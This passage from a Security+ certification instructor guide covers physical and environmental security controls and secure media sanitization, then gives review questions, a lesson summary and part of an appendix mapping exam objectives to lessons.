A physically secure cabled network is referred to as protected cable distribution or as a
and Faraday Cages protected distribution system (PDS). There are two principal risks:
• An intruder could attach eavesdropping equipment to the cable (a tap).

• An intruder could cut the cable (Denial of Service).

A hardened PDS is one where all cabling is routed through sealed metal conduit and
subject to periodic visual inspection. Lower-grade options are to use different materials
for the conduit (plastic, for instance). Another option is to install an alarm system within
the cable conduit, so that intrusions can be detected automatically.
It is possible to install communications equipment within a shielded enclosure,
known as a Faraday Cage. The cage is a charged conductive mesh that blocks
signals from entering or leaving the area. The risk of eavesdropping from leakage
of electromagnetic signals was investigated by the US DoD who defined TEMPEST
(Transient Electromagnetic Pulse Emanation Standard) as a means of shielding the
signals.

Show Slide(s) Heating, Ventilation, Air Conditioning

Heating, Ventilation,
Environmental controls mitigate the loss of availability through mechanical issues
Air Conditioning with equipment, such as overheating. Building control systems maintain an optimum
working environment for different parts of the building. The acronym HVAC (Heating,
Teaching Ventilation, Air Conditioning) is often used to describe these services. An HVAC uses
Tip temperature sensors and moisture detection sensors (to measure humidity).
Some students
might not consider Use a portable monitor to verify that the HVAC's temperature and humidity sensors are
environmental returning the correct readings.
exposures to be
information security
issues. Throughout
the topic, encourage For computer rooms and data centers, a thermostatically controlled environment is
discussion of how
various forms of
usually kept at a temperature of around 20-22°C (68-70°F) and relative humidity of
security should work 50%. The heat generated by equipment per hour is measured in British Thermal Units
together to protect (BTU) or kilowatts (KW). 1 KW is 3412 BTU. To calculate the cooling requirement for an
all assets of an air conditioning system, multiply the wattage of all equipment in the room (including
organization. lighting) by 3.41 to get the BTU/hour. If the server room is occupied (unlikely in most
cases), add 400 BTU/person. The air conditioner's BTU-rating must exceed this total
value.

Some data centers (notably those operated by Google) are allowing higher temperatures
(up to around 26°C/80°F). This can achieve significant energy cost savings and modern
electronics is proving reliable at this temperature.

The positive air pressure created by the HVAC system also forces contaminants such as
dust out of the facility. Filters on HVAC systems collect the dust and must be changed
regularly. When using an air conditioning system, ensure that it is inspected and
maintained periodically. Systems may be fitted with alarms to alert staff to problems.
Mission critical systems may require a backup air conditioning system.

The server room should not be used as storage space. Do not leave boxes or unused
equipment in it. Also, do not install unnecessary devices that generate a lot of heat and
dust, such as printers.

Lesson 21: Explaining Physical Security | Topic 21B

LICENSED FOR USE ONLY BY: ATUL MALHOTRA · 8375311 · MAY 05 2022
 The Official CompTIA Security+ Instructor Guide (Exam SY0-601) | 551

Hot and Cold Aisles Show Slide(s)

A data center or server room should be designed in such a way as to maximize air flow Hot and Cold Aisles
across the server or racks. If multiple racks are used, install equipment so that servers
are placed back-to-back not front-to-back, so that the warm exhaust from one bank of
servers is not forming the air intake for another bank. This is referred to as a hot aisle/
cold aisle arrangement. In order to prevent air leaks from the hot aisle to the cold
aisle, ensure that any gaps in racks are filled by blank panels and use strip curtains or
excluders to cover any spaces above or between racks.

Hot aisle containment design—Cold air circulates from the air conditioner under the floor and around
the rack, while hot air is drawn from between the racks through the ceiling space (plenum) to a heat
exchanger. In this design, it is important that hot air does not leak from the ceiling or from the floor
space between the racks. (Image © 123RF.com.)

Make sure that cabling is secured by cable ties or ducting and does not run across
walkways. Cable is best run using a raised floor. If running cable through plenum
spaces, make sure it is fire-retardant and be conscious of minimizing proximity to
electrical sources, such as electrical cable and fluorescent light, which can corrupt data
signals (Electromagnetic Interference [EMI]). You also need to ensure that there is
sufficient space in the plenum for the air conditioning system to work properly—filling
the area with cable is not the best idea.

To reduce interference, data/network cabling should not be run parallel to power cabling. If
EMI is a problem, shielded cabling can be installed. Alternatively, the copper cabling could
be replaced with fiber optic cabling, which is not susceptible to EMI.

Fire Detection and Suppression Show Slide(s)

Health and safety legislation dictates what mechanisms an organization must put in Fire Detection and
place to detect and suppress fires. Some basic elements of fire safety include: Suppression
• Well-marked fire exits and an emergency evacuation procedure that is tested and
practiced regularly.

• Building design that does not allow fire to spread quickly, by separating different
areas with fire-resistant walls and doors.

Lesson 21: Explaining Physical Security | Topic 21B

LICENSED FOR USE ONLY BY: ATUL MALHOTRA · 8375311 · MAY 05 2022
 552 | The Official CompTIA Security+ Instructor Guide (Exam SY0-601)

• Automatic smoke or fire detection systems, as well as alarms that can be operated
manually.

Fire suppression systems work on the basis of the fire triangle. The fire triangle
works on the principle that a fire requires heat, oxygen, and fuel to ignite and burn.
Removing any one of those elements provides fire suppression (and prevention). In
the US (and most other countries), fires are divided by class under the NFPA (National
Fire Protection Association) system, according to the combustible material that fuels
the fire. Portable fire extinguishers come in several different types, with each type
being designed for fighting a particular class of fire. Notably, Class C extinguishers use
gas-based extinguishing and can be used where the risk of electric shock makes other
types unsuitable.

Under the European classification system, electrical fires are Class E.

Premises may also be fitted with an overhead sprinkler system. Wet-pipe sprinklers
work automatically, are triggered by heat, and discharge water. Wet-pipe systems
constantly hold water at high pressure, so there is some risk of burst pipes and
accidental triggering, as well as the damage that would be caused in the event of
an actual fire. There are several alternatives to wet-pipe systems that can minimize
damage that may be caused by water flooding the room.
• Dry-pipe—these are used in areas where freezing is possible; water only enters this
part of the system if sprinklers elsewhere are triggered.
• Pre-action—a pre-action system only fills with water when an alarm is triggered;
it will then spray when the heat rises. This gives protection against accidental
discharges and burst pipes and gives some time to contain the fire manually before
the sprinkler operates.
• Halon—gas-based systems have the advantage of not short circuiting electrical
systems and leaving no residue. Up until a few years ago, most systems used Halon
1301. The use of Halon has been banned in most countries as it is ozone depleting,
though existing installations have not been replaced in many instances and can
continue to operate legally.
• Clean agent—alternatives to Halon are referred to as "clean agent." As well as not
being environmentally damaging, these gases are considered nontoxic to humans.
Examples include INERGEN (a mixture of CO2, argon, and nitrogen), FM-200/HFC-
227, and FE-13. The gases both deplete the concentration of oxygen in the area
(though not to levels dangerous to humans) and have a cooling effect. CO2 can be
used too, but it is not safe for use in occupied areas.

Show Slide(s) Secure Data Destruction

Secure Data
Physical security controls also need to take account of the disposal phase of the data
Destruction life cycle. Media sanitization and remnant removal refer to erasing data from hard
drives, flash drives/SSDs, tape media, CD and DVD ROMs before they are disposed of
or put to a different use. Paper documents must also be disposed of securely. Data
remnants can be dealt with either by destroying the media or by purging it (removing
the confidential information but leaving the media intact for reuse).
One approach to sanitization is to destroy the media, rendering it unusable. There are
several physical destruction options:
• Burning—incineration is an effective method for all media types, so long as it is
performed in a furnace designed for media sanitization. Municipal incinerators may
leave remnants.

Lesson 21: Explaining Physical Security | Topic 21B

LICENSED FOR USE ONLY BY: ATUL MALHOTRA · 8375311 · MAY 05 2022
 The Official CompTIA Security+ Instructor Guide (Exam SY0-601) | 553

• Shredding and pulping—most media can be shredded. For paper documents,

shredders are rated by the size of the remnants they reduce a sheet to. Level 1 is
12mm strips, while Level 6 is 0.8x4mm particles. Pulping the shredded remains with
water or incinerating them provides an extra measure of protection. Some office
shredders can destroy optical media too. Industrial shredders can destroy hard
drives and flash drives.
• Pulverizing—hitting a hard drive with a hammer can leave a surprising amount of
recoverable data, so this type of destruction should be performed with industrial
machinery.
• Degaussing— exposing a hard disk to a powerful electromagnet disrupts the
magnetic pattern that stores the data on the disk surface. Note that SSDs, flash
media, and optical media cannot be degaussed, only hard disk drives.
Due to the cost of facilities, physical destruction is likely to be contracted to a third
party. It is important to use a reputable service provider and to obtain a detailed
inventory of how each media item was sanitized and certificates of destruction.

Data Sanitization Tools Show Slide(s)

Files deleted from a magnetic-type hard disk are not erased. Rather, the sectors are Data Sanitization Tools
marked as available for writing and the data they contain will only be removed as new
files are added. Similarly, using the standard Windows format tool will only remove Teaching
references to files and mark all sectors as usable. Tip
The standard method of sanitizing an HDD is called overwriting. This can be performed It seems fitting to
end the course with
using the drive's firmware tools or a utility program. The most basic type of overwriting irrevocable techniques
is called zero filling, which just sets each bit to zero. Single pass zero filling can leave to utterly destroy
patterns that can be read with specialist tools. A more secure method is to overwrite information!
the content with one pass of all zeros, then a pass of all ones, and then a third pass in a
pseudorandom pattern. Some secret service agencies require more than three passes.
Overwriting can take a considerable amount of time to complete, depending on the
number of passes.

Active KillDisk data wiping software. (Screenshot used with permission from LSoft Technologies, Inc.)

Lesson 21: Explaining Physical Security | Topic 21B

LICENSED FOR USE ONLY BY: ATUL MALHOTRA · 8375311 · MAY 05 2022
 554 | The Official CompTIA Security+ Instructor Guide (Exam SY0-601)

Examples of tools supporting secure file or disk erasing include Sdelete (part of Sysinternals
docs.microsoft.com/sysinternals) and Darik's Boot and Nuke (dban.org), plus the Active
KillDisk suite shown here.

Secure Erase (SE)

Since 2001, the SATA and Serial Attached SCSI (SAS) specifications have included a
Secure Erase (SE) command. This command can be invoked using a drive/array utility
or the hdparm Linux utility. On HDDs, this performs a single pass of zero filling.
For SSDs and hybrid drives and some USB thumb drives and flash memory cards,
overwriting methods are not reliable, because the device uses wear-leveling routines
in the drive controller to communicate which locations are available for use to any
software process accessing the device.
On SSDs, the SE command marks all blocks as empty. A block is the smallest unit on
flash media that can be given an erase command. The drive firmware's automatic
garbage collectors then perform the actual erase of each block over time. If this
process is not completed (and there is no progress indicator), there is a risk of remnant
recovery, though this requires removing the chips from the device to analyze them in
specialist hardware.

Instant Secure Erase (ISE)

HDDs and SSDs that are self-encrypting drives (SEDs) support another option, invoking
a SANITIZE command set in SATA and SAS standards from 2012 to perform a crypto
erase. Drive vendors implement this as Instant Secure Erase (ISE). With an SED, all data
on the drive is encrypted using a media encryption key. When the erase command is
issued, the MEK is erased, rendering the data unrecoverable. FIPS140-2 or FIPS140-3
validation provides assurance that the cryptographic implementation is strong.

If the device firmware does not support encryption, using a software disk encryption
product and then destroying the key and using SE should be sufficient for most
confidentiality requirements.

Lesson 21: Explaining Physical Security | Topic 21B

LICENSED FOR USE ONLY BY: ATUL MALHOTRA · 8375311 · MAY 05 2022
 The Official CompTIA Security+ Instructor Guide (Exam SY0-601) | 555

Review Activity:
Physical Host Security Controls
Answer the following questions:

1. What policy describes preventing any type of unauthorized computing,

network, or storage connection to a protected host?

This can be described as an air gap or secure area demilitarized zone (DMZ).

2. Where would you expect to find "hot and cold" aisles and what is their
purpose?

This layout is used in a data center or large server room. The layout is the best way to
maintain a stable temperature and reduce loss of availability due to thermal problems.

3. What security controls might be used to implement protected distribution

of cabling?

Make conduit physically difficult to access, use alarms to detect attempts to interfere
with conduit, and use shielded cabling.

4. What physical security device could you use to ensure the safety of onsite
backup tapes?

A fireproof safe or vault.

5. Which sanitization solution meets all the following requirements:

compatible with both HDD and SSD media, fast operation, and leaves the
media in a reusable state?

A crypto erase or Instant Secure Erase (ISE) sanitizes media by encrypting the data and
then erasing the crytpographic key.

6. What type of physical destruction media sanitization method is not suitable

for USB thumb drives?

Degaussing is ineffective against all types of flash media, including thumb drives, SSDs,
hybrid drives, and memory cards.

Lesson 21: Explaining Physical Security | Topic 21B

LICENSED FOR USE ONLY BY: ATUL MALHOTRA · 8375311 · MAY 05 2022
 556 | The Official CompTIA Security+ Instructor Guide (Exam SY0-601)

Lesson 21
Summary
Teaching You should be able to explain the importance of physical security controls for access,
Tip surveillance, environmental protection, and secure data destruction.
Check that students
are confident about
the content that has
Guidelines for Physical Security Controls
been covered. If there
Follow these guidelines for deploying or upgrading physical security controls:
is time, revisit any
content examples that • If possible, design sites as zones to maximize access controls and surveillance for
they have questions the most secure areas, using industrial camouflage, DMZs, air gaps, vaults, and safes
about. If you have
used all the available
where applicable.
time for this lesson
block, note the issues,
• Secure the site perimeter and access points using fencing, barricades/bollards, and
and schedule time for locks (physical, electronic, and biometric). If using smart cards, use a type that is
a review later in the resistant to cloning/skimming.
course.
• Monitor the site using security guards, CCTV, robot sentries, and drones/UAV, and
use effective lighting to maximize surveillance.

• Deploy an alarm system (circuit, motion-based, proximity, and/or duress) to detect

intrusion.

• Use security guards, reception personnel, and ID badges to authorize access,

considering the importance of two-person control for integrity.

• Ensure environmental security of compute resources using temperature and

humidity controls and sensors, hot/cold aisle facilities design, and fire detection and
suppression systems.

• Use either physical destruction or data sanitization methods to ensure remnant

removal when disposing of media and devices.

Lesson 21: Explaining Physical Security

LICENSED FOR USE ONLY BY: ATUL MALHOTRA · 8375311 · MAY 05 2022
 Appendix A
Mapping Course Content to CompTIA
Security+ (Exam SY0-601)
Achieving CompTIA Security+ certification requires candidates to pass Exam SY0-601.
This table describes where the exam objectives for Exam SY0-601 are covered in this
course.

Domain and Objective Covered in

1.0 Attacks, Threats, and Vulnerabilities Lesson 4, Topic A

1.1 Compare and contrast different types of social Lesson 4, Topic A

engineering techniques
Phishing Lesson 4, Topic A
Smishing Lesson 4, Topic A
Vishing Lesson 4, Topic A
Spam Lesson 4, Topic A
Spam over Internet messaging (SPIM) Lesson 4, Topic A
Spear phishing Lesson 4, Topic A
Dumpster diving Lesson 4, Topic A
Shoulder surfing Lesson 4, Topic A
Pharming Lesson 4, Topic A
Tailgating Lesson 4, Topic A
Eliciting information Lesson 4, Topic A
Whaling Lesson 4, Topic A
Prepending Lesson 4, Topic A
Identity fraud Lesson 4, Topic A
Invoice scams Lesson 4, Topic A
Credential harvesting Lesson 4, Topic A
Reconnaissance Lesson 4, Topic A
Hoax Lesson 4, Topic A
Impersonation Lesson 4, Topic A
Watering hole attack Lesson 4, Topic A
Typo squatting Lesson 4, Topic A
Pretexting Lesson 4, Topic A
Influence campaigns Lesson 4, Topic A
Hybrid warfare Lesson 4, Topic A
Social media Lesson 4, Topic A

LICENSED FOR USE ONLY BY: ATUL MALHOTRA · 8375311 · MAY 05 2022
 A-2 | Appendix A

Domain and Objective Covered in

Principles (reasons for effectiveness) Lesson 4, Topic A
Authority Lesson 4, Topic A
Intimidation Lesson 4, Topic A
Consensus Lesson 4, Topic A
Scarcity Lesson 4, Topic A
Familiarity Lesson 4, Topic A
Trust Lesson 4, Topic A
Urgency Lesson 4, Topic A
1.2 Given a scenario, analyze potential indicators to Lesson 4, Topic B
determine the type of attack Lesson 5, Topic C
Lesson 7, Topic B
Lesson 12, Topic A
Lesson 15, Topic B
Lesson 17, Topic C
Lesson 21, Topic A
Malware Lesson 4, Topic B
Ransomware Lesson 4, Topic B
Trojans Lesson 4, Topic B
Worms Lesson 4, Topic B
Potentially unwanted programs (PUPs) Lesson 4, Topic B
Fileless virus Lesson 4, Topic B
Command and control Lesson 4, Topic B
Bots Lesson 4, Topic B
Cryptomalware Lesson 4, Topic B
Logic bombs Lesson 4, Topic B
Spyware Lesson 4, Topic B
Keyloggers Lesson 4, Topic B
Remote access Trojan (RAT) Lesson 4, Topic B
Rootkit Lesson 4, Topic B
Backdoor Lesson 4, Topic B
Password attacks Lesson 7, Topic B
Spraying Lesson 7, Topic B
Dictionary Lesson 7, Topic B
Brute force Lesson 7, Topic B
Offline Lesson 7, Topic B
Online Lesson 7, Topic B
Rainbow tables Lesson 7, Topic B
Plaintext/unencrypted Lesson 7, Topic B
Physical attacks Lesson 12, Topic A
Lesson 21, Topic A
Malicious universal serial bus (USB) cable Lesson 12, Topic A
Malicious flash drive Lesson 12, Topic A

Appendix A: Mapping Course Content to CompTIA Certification

LICENSED FOR USE ONLY BY: ATUL MALHOTRA · 8375311 · MAY 05 2022
 Appendix A | A-3

Domain and Objective Covered in

Card cloning Lesson 21, Topic A
Skimming Lesson 21, Topic A
Adversarial artificial intelligence (AI) Lesson 17, Topic C
Tainted training data for machine learning (ML) Lesson 17, Topic C
Security of machine learning algorithms Lesson 17, Topic C
Supply-chain attacks Lesson 12, Topic A
Cloud-based vs. on-premises attacks Lesson 15, Topic B
Cryptographic attacks Lesson 5, Topic C
Birthday Lesson 5, Topic C
Collision Lesson 5, Topic C
Downgrade Lesson 5, Topic C
1.3 Given a scenario, analyze potential indicators Lesson 14, Topic A
associated with application attacks Lesson 14, Topic B
Privilege escalation Lesson 14, Topic A
Cross-site scripting Lesson 14, Topic B
Injections Lesson 14, Topic B
Lesson 14, Topic A
Structured query language (SQL) Lesson 14, Topic B
Dynamic link library (DLL) Lesson 14, Topic A
Lightweight directory access protocol (LDAP) Lesson 14, Topic B
Extensible markup language (XML) Lesson 14, Topic B
Pointer/object dereference Lesson 14, Topic A
Directory traversal Lesson 14, Topic B
Buffer overflows Lesson 14, Topic A
Race conditions Lesson 14, Topic A
Time of check/time of use Lesson 14, Topic A
Error handling Lesson 14, Topic A
Improper input handling Lesson 14, Topic A
Replay attack Lesson 14, Topic B
Session replays Lesson 14, Topic B
Integer overflow Lesson 14, Topic A
Request forgeries Lesson 14, Topic B
Server-side Lesson 14, Topic B
Cross-site Lesson 14, Topic B
Application programming interface (API) attacks Lesson 14, Topic B
Resource exhaustion Lesson 14, Topic A
Memory leak Lesson 14, Topic A
Secure sockets layer (SSL) stripping Lesson 14, Topic B
Driver manipulation Lesson 14, Topic A
Shimming Lesson 14, Topic A
Refactoring Lesson 14, Topic A
Pass the hash Lesson 14, Topic A

Appendix A: Mapping Course Content to CompTIA Certification

LICENSED FOR USE ONLY BY: ATUL MALHOTRA · 8375311 · MAY 05 2022
 A-4 | Appendix A

Domain and Objective Covered in

1.4 Given a scenario, analyze potential indicators Lesson 9, Topic B
associated with network attacks Lesson 9, Topic C
Lesson 9, Topic D
Lesson 11, Topic A
Lesson 13, Topic B
Lesson 14, Topic D
Wireless Lesson 9, Topic C
Lesson 13, Topic B
Evil twin Lesson 9, Topic C
Rogue access point Lesson 9, Topic C
Bluesnarfing Lesson 13, Topic B
Bluejacking Lesson 13, Topic B
Disassociation Lesson 9, Topic C
Jamming Lesson 9, Topic C
Radio frequency identifier (RFID) Lesson 13, Topic B
Near-field communication (NFC) Lesson 13, Topic B
Initialization vector (IV) Lesson 9, Topic C
O
 n-path attack (previously known as man-in-the-middle Lesson 9, Topic B
attack/man-in-the-browser attack) Lesson 14, Topic D
Layer 2 attacks Lesson 9, Topic B
Address resolution protocol (ARP) poisoning Lesson 9, Topic B
Media access control (MAC) flooding Lesson 9, Topic B
MAC cloning Lesson 9, Topic B
Domain name system (DNS) Lesson 11, Topic A
Domain hijacking Lesson 11, Topic A
DNS poisoning Lesson 11, Topic A
Universal resource locator (URL) redirection Lesson 11, Topic A
Domain reputation Lesson 11, Topic A
Distributed denial-of-service (DDoS) Lesson 9, Topic D
Network Lesson 9, Topic D
Application Lesson 9, Topic D
Operational technology (OT) Lesson 9, Topic D
Malicious code or script execution Lesson 14, Topic D
PowerShell Lesson 14, Topic D
Python Lesson 14, Topic D
Bash Lesson 14, Topic D
Macros Lesson 14, Topic D
Visual Basic for Applications (VBA) Lesson 14, Topic D
1.5 Explain different threat actors, vectors, and Lesson 2, Topic A
intelligence sources Lesson 2, Topic B
Actors and threats Lesson 2, Topic A
Advanced persistent threat (APT) Lesson 2, Topic A
Insider threats Lesson 2, Topic A

Appendix A: Mapping Course Content to CompTIA Certification

LICENSED FOR USE ONLY BY: ATUL MALHOTRA · 8375311 · MAY 05 2022
 Appendix A | A-5

Domain and Objective Covered in

State actors Lesson 2, Topic A
Hacktivists Lesson 2, Topic A
Script kiddies Lesson 2, Topic A
Criminal syndicates Lesson 2, Topic A
Hackers Lesson 2, Topic A
Authorized Lesson 2, Topic A
Unauthorized Lesson 2, Topic A
Semi-authorized Lesson 2, Topic A
Shadow IT Lesson 2, Topic A
Competitors Lesson 2, Topic A
Attributes of actors Lesson 2, Topic A
Internal/external Lesson 2, Topic A
Level of sophistication/capability Lesson 2, Topic A
Resources/funding Lesson 2, Topic A
Intent/motivation Lesson 2, Topic A
Vectors Lesson 2, Topic A
Direct access Lesson 2, Topic A
Wireless Lesson 2, Topic A
Email Lesson 2, Topic A
Supply chain Lesson 2, Topic A
Social media Lesson 2, Topic A
Removable media Lesson 2, Topic A
Cloud Lesson 2, Topic A
Threat intelligence sources Lesson 2, Topic B
Open source intelligence (OSINT) Lesson 2, Topic B
Closed/proprietary Lesson 2, Topic B
Vulnerability databases Lesson 2, Topic B
Public/private information-sharing centers Lesson 2, Topic B
Dark web Lesson 2, Topic B
Indicators of compromise Lesson 2, Topic B
Automated indicator sharing (AIS) Lesson 2, Topic B
S
 tructured Threat Information eXpression (STIX)/ Lesson 2, Topic B
Trusted Automated eXchange of Indicator Information
(TAXII)
Predictive analysis Lesson 2, Topic B
Threat maps Lesson 2, Topic B
File/code repositories Lesson 2, Topic B
Research sources Lesson 2, Topic B
Vendor websites Lesson 2, Topic B
Vulnerability feeds Lesson 2, Topic B
Conferences Lesson 2, Topic B

Appendix A: Mapping Course Content to CompTIA Certification

LICENSED FOR USE ONLY BY: ATUL MALHOTRA · 8375311 · MAY 05 2022
 A-6 | Appendix A

Domain and Objective Covered in

Academic journals Lesson 2, Topic B
Request for comments (RFC) Lesson 2, Topic B
Local industry groups Lesson 2, Topic B
Social media Lesson 2, Topic B
Threat feeds Lesson 2, Topic B
Adversary tactics, techniques, and procedures (TTP) Lesson 2, Topic B
1.6 Explain the security concerns associated with various Lesson 3, Topic B
types of vulnerabilities
Cloud-based vs. on-premises vulnerabilities Lesson 3, Topic B
Zero-day Lesson 3, Topic B
Weak configurations Lesson 3, Topic B
Open permissions Lesson 3, Topic B
Unsecure root accounts Lesson 3, Topic B
Errors Lesson 3, Topic B
Weak encryption Lesson 3, Topic B
Unsecure protocols Lesson 3, Topic B
Default settings Lesson 3, Topic B
Open ports and services Lesson 3, Topic B
Third-party risks Lesson 3, Topic B
Vendor management Lesson 3, Topic B
System integration Lesson 3, Topic B
Lack of vendor support Lesson 3, Topic B
Supply chain Lesson 3, Topic B
Outsourced code development Lesson 3, Topic B
Data storage Lesson 3, Topic B
Improper or weak patch management Lesson 3, Topic B
Firmware Lesson 3, Topic B
Operating system (OS) Lesson 3, Topic B
Applications Lesson 3, Topic B
Legacy platforms Lesson 3, Topic B
Impacts Lesson 3, Topic B
Data loss Lesson 3, Topic B
Data breaches Lesson 3, Topic B
Data exfiltration Lesson 3, Topic B
Identity theft Lesson 3, Topic B
Financial Lesson 3, Topic B
Reputation Lesson 3, Topic B
Availability loss Lesson 3, Topic B
1.7 Summarize the techniques used in security assessments Lesson 3, Topic C
Lesson 10, Topic C
Threat hunting Lesson 3, Topic C
Intelligence fusion Lesson 3, Topic C

Appendix A: Mapping Course Content to CompTIA Certification

LICENSED FOR USE ONLY BY: ATUL MALHOTRA · 8375311 · MAY 05 2022
 Appendix A | A-7

Domain and Objective Covered in

Threat feeds Lesson 3, Topic C
Advisories and bulletins Lesson 3, Topic C
Maneuver Lesson 3, Topic C
Vulnerability scans Lesson 3, Topic C
False positives Lesson 3, Topic C
False negatives Lesson 3, Topic C
Log reviews Lesson 3, Topic C
Credentialed vs. non-credentialed Lesson 3, Topic C
Intrusive vs. non-intrusive Lesson 3, Topic C
Application Lesson 3, Topic C
Web application Lesson 3, Topic C
Network Lesson 3, Topic C
C
 ommon Vulnerabilities and Exposures (CVE)/Common Lesson 3, Topic C
Vulnerability Scoring System (CVSS)
Configuration review Lesson 3, Topic C
Syslog/Security information and event management (SIEM) Lesson 10, Topic C
Review reports Lesson 10, Topic C
Packet capture Lesson 10, Topic C
Data inputs Lesson 10, Topic C
User behavior analysis Lesson 10, Topic C
Sentiment analysis Lesson 10, Topic C
Security monitoring Lesson 10, Topic C
Log aggregation Lesson 10, Topic C
Log collectors Lesson 10, Topic C
Security orchestration, automation, and response (SOAR) Lesson 10, Topic C
1.8 Explain the techniques used in penetration testing Lesson 3, Topic D
Penetration testing Lesson 3, Topic D
Known environment Lesson 3, Topic D
Unknown environment Lesson 3, Topic D
Partially known environment Lesson 3, Topic D
Rules of engagement Lesson 3, Topic D
Lateral movement Lesson 3, Topic D
Privilege escalation Lesson 3, Topic D
Persistence Lesson 3, Topic D
Cleanup Lesson 3, Topic D
Bug bounty Lesson 3, Topic D
Pivoting Lesson 3, Topic D
Passive and active reconnaissance Lesson 3, Topic D
Drones Lesson 3, Topic D
War flying Lesson 3, Topic D
War driving Lesson 3, Topic D

Appendix A: Mapping Course Content to CompTIA Certification

LICENSED FOR USE ONLY BY: ATUL MALHOTRA · 8375311 · MAY 05 2022
 A-8 | Appendix A

Domain and Objective Covered in

Footprinting Lesson 3, Topic D
OSINT Lesson 3, Topic D
Exercise types Lesson 3, Topic D
Red-team Lesson 3, Topic D
Blue-team Lesson 3, Topic D
White-team Lesson 3, Topic D
Purple-team Lesson 3, Topic D
2.0 Architecture and Design
2.1 Explain the importance of security concepts in an Lesson 5, Topic A
enterprise environment Lesson 11, Topic B
Lesson 16, Topic A
Lesson 16, Topic B
Lesson 20, Topic C
Configuration management Lesson 20, Topic C
Diagrams Lesson 20, Topic C
Baseline configuration Lesson 20, Topic C
Standard naming conventions Lesson 20, Topic C
Internet protocol (IP) schema Lesson 20, Topic C
Data sovereignty Lesson 16, Topic A
Data protection Lesson 16, Topic B
Data loss prevention (DLP) Lesson 16, Topic B
Masking Lesson 16, Topic B
Encryption Lesson 16, Topic B
At rest Lesson 16, Topic B
In transit/motion Lesson 16, Topic B
In processing Lesson 16, Topic B
Tokenization Lesson 16, Topic B
Rights management Lesson 16, Topic B
Geographical considerations Lesson 16, Topic A
Response and recovery controls Lesson 20, Topic C
S
 ecure Sockets Layer (SSL)/Transport Layer Security (TLS) Lesson 11, Topic B
inspection
Hashing Lesson 5, Topic A
API considerations Lesson 11, Topic B
Site resiliency Lesson 20, Topic C
Hot site Lesson 20, Topic C
Cold site Lesson 20, Topic C
Warm site Lesson 20, Topic C
Deception and disruption Lesson 20, Topic C
Honeypots Lesson 20, Topic C
Honeyfiles Lesson 20, Topic C
Honeynets Lesson 20, Topic C

Appendix A: Mapping Course Content to CompTIA Certification

LICENSED FOR USE ONLY BY: ATUL MALHOTRA · 8375311 · MAY 05 2022
 Appendix A | A-9

Domain and Objective Covered in

Fake telemetry Lesson 20, Topic C
DNS sinkhole Lesson 20, Topic C
2.2Summarize virtualization and cloud computing concepts Lesson 15, Topic A
Lesson 15, Topic B
Lesson 15, Topic C
Cloud models Lesson 15, Topic A
Infrastructure as a service (IaaS) Lesson 15, Topic A
Platform as a service (PaaS) Lesson 15, Topic A
Software as a service (SaaS) Lesson 15, Topic A
Anything as a service (XaaS) Lesson 15, Topic A
Public Lesson 15, Topic A
Community Lesson 15, Topic A
Private Lesson 15, Topic A
Hybrid Lesson 15, Topic A
M
 anaged service provider (MSP)/managed security service Lesson 15, Topic A
provider (MSSP)
On-premises vs. off-premises Lesson 15, Topic A
Fog computing Lesson 15, Topic C
Edge computing Lesson 15, Topic C
Thin client Lesson 15, Topic A
Containers Lesson 15, Topic A
Microservices/API Lesson 15, Topic C
Infrastructure as code Lesson 15, Topic C
Software-defined networking (SDN) Lesson 15, Topic C
Software-defined visibility (SDV) Lesson 15, Topic C
Serverless architecture Lesson 15, Topic C
Services integration Lesson 15, Topic C
Resource policies Lesson 15, Topic B
Transit gateway Lesson 15, Topic B
Virtualization Lesson 15, Topic A
Virtual machine (VM) sprawl avoidance Lesson 15, Topic A
VM escape protection Lesson 15, Topic A
2.3 S
 ummarize secure application development, Lesson 14, Topic C
deployment, and automation concepts Lesson 14, Topic E
Environment Lesson 14, Topic E
Development Lesson 14, Topic E
Test Lesson 14, Topic E
Staging Lesson 14, Topic E
Production Lesson 14, Topic E
Quality assurance (QA) Lesson 14, Topic E
Provisioning and deprovisioning Lesson 14, Topic E
Integrity measurement Lesson 14, Topic E

Appendix A: Mapping Course Content to CompTIA Certification

LICENSED FOR USE ONLY BY: ATUL MALHOTRA · 8375311 · MAY 05 2022
 A-10 | Appendix A

Domain and Objective Covered in

Secure coding techniques Lesson 14, Topic C
Normalization Lesson 14, Topic C
Stored procedures Lesson 14, Topic C
Obfuscation/camouflage Lesson 14, Topic C
Code reuse/dead code Lesson 14, Topic C
Server-side vs. client-side execution and validation Lesson 14, Topic C
Memory management Lesson 14, Topic C
U
 se of third-party libraries and software development Lesson 14, Topic C
kits (SDKs)
Data exposure Lesson 14, Topic C
Open Web Application Security Project (OWASP) Lesson 14, Topic C
Software diversity Lesson 14, Topic E
Compiler Lesson 14, Topic E
Binary Lesson 14, Topic E
Automation/scripting Lesson 14, Topic E
Automated courses of action Lesson 14, Topic E
Continuous monitoring Lesson 14, Topic E
Continuous validation Lesson 14, Topic E
Continuous integration Lesson 14, Topic E
Continuous delivery Lesson 14, Topic E
Continuous deployment Lesson 14, Topic E
Elasticity Lesson 14, Topic E
Scalability Lesson 14, Topic E
Version control Lesson 14, Topic E
2.4 S
 ummarize authentication and authorization Lesson 7, Topic A
design concepts Lesson 7, Topic C
Lesson 7, Topic D
Authentication methods Lesson 7, Topic C
Directory services Lesson 7, Topic C
Federation Lesson 7, Topic C
Attestation Lesson 7, Topic C
Technologies Lesson 7, Topic C
Time-based onetime password (TOTP) Lesson 7, Topic C
HMAC-based one-time password (HOTP) Lesson 7, Topic C
Short message service (SMS) Lesson 7, Topic C
Token key Lesson 7, Topic C
Static codes Lesson 7, Topic C
Authentication applications Lesson 7, Topic C
Push notifications Lesson 7, Topic C
Phone call Lesson 7, Topic C
Smart card authentication Lesson 7, Topic C

Appendix A: Mapping Course Content to CompTIA Certification

LICENSED FOR USE ONLY BY: ATUL MALHOTRA · 8375311 · MAY 05 2022
 Appendix A | A-11

Domain and Objective Covered in

Biometrics Lesson 7, Topic D
Fingerprint Lesson 7, Topic D
Retina Lesson 7, Topic D
Iris Lesson 7, Topic D
Facial Lesson 7, Topic D
Voice Lesson 7, Topic D
Vein Lesson 7, Topic D
Gait analysis Lesson 7, Topic D
Efficacy rates Lesson 7, Topic D
False acceptance Lesson 7, Topic D
False rejection Lesson 7, Topic D
Crossover error rate Lesson 7, Topic D
Multifactor authentication (MFA) factors and attributes Lesson 7, Topic A
Factors Lesson 7, Topic A
Something you know Lesson 7, Topic A
Something you have Lesson 7, Topic A
Something you are Lesson 7, Topic A
Attributes Lesson 7, Topic A
Somewhere you are Lesson 7, Topic A
Something you can do Lesson 7, Topic A
Something you exhibit Lesson 7, Topic A
